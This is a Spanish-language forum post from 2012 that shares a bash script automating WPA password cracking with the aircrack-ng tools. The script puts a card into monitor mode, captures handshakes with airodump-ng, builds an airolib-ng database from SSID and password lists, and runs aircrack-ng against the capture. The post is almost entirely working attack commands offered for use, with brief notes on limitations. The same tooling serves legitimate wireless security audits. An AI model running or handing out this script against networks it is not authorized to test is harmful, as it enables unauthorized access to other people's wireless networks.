Arg-Wireless - Foro de Argentina

[In]Seguridad Informática => Seguridad General => Linux => Mensaje publicado por: D3M0N en 26 de Noviembre de 2012, 06:30:05 PM

Título: AiroLib-NG Script
Publicado por: D3M0N en 26 de Noviembre de 2012, 06:30:05 PM
(https://www.arg-wireless.com.ar/proxy.php?request=http%3A%2F%2Flinuxeando.com.ar%2Fwp-content%2Fuploads%2F2011%2F08%2Fairolib.png&hash=08c6c1c4f89a85b11a1a25937f4191c690a93980)

Algunas notas:
- El script supone que conoce el canal del AP.
- Aún se necesita para poner en unas pocas líneas para airelplay, probly abrir una nueva ventana.
- Estoy seguro de que hay alguna manera de automatizar aireplay mediante el archivo de captura-01.txt que airodump escupe.
- El ssidlist.txt passwords.txt y la necesidad de estar en el mismo directorio que el script.
- Estoy seguro de que hay alguna manera de permitir que Autocompletar para eso, pero aún tengo que averiguarlo.
- Algunos de los comentarios son casi irrelevantes.

Todas las sugerencias son apreciadas. Enjoy!

Traté de vincular a Xploitz tutorial # 4, pero los dioses en el foro de nay dijo ... No he hecho bastantes mensajes ... Todos saben dónde está, aunque. : P

#########################################################################
#    airolib_script.sh #
#    airolib-ng script that automates the WPA cracking process a bit. #
# by w116tjb #
# #
#########################################################################

##Set Atheros wireless card into monitor mode.
airmon-ng start wifi0

##Choose interface in monitor mode, channel you want to scan, and
##what you want to name your capture file.
read -p "What interface? " iface
read -p "What channel? " chan
read -p "Capture file name? " capture

airodump-ng --channel $chan --write $capture $iface

##Name your database.
read -p "Database name? " database

##Initialize your database.
echo "airolib-ng "$database" init"
airolib-ng $database init

##Until I can find out how to get directories to autocomplete,
##you're stuck typing out the entire struture
read -p "SSID list? " ssid_dir

##Imports the SSID list into the database.
echo "airolib-ng "$database" import ascii essid "$ssid_dir
airolib-ng $database import ascii essid $ssid_dir

##Again, you have to type it all out. Sorry.
read -p "Password list? " pass_dir

##Imports the password file into the database.
echo "airolib-ng "$database" import ascii passwd "$pass_dir
airolib-ng $database import ascii passwd $pass_dir

echo "airolib-ng "$database" clean all"
airolib-ng $database clean all

echo "airolib-ng "$database" batch"
airolib-ng $database batch

echo "airolib-ng "$database" verify all"
airolib-ng $database verify all

echo "aircrack-ng -r "$database $capture"-01.cap"
aircrack-ng -r $database $capture-01.cap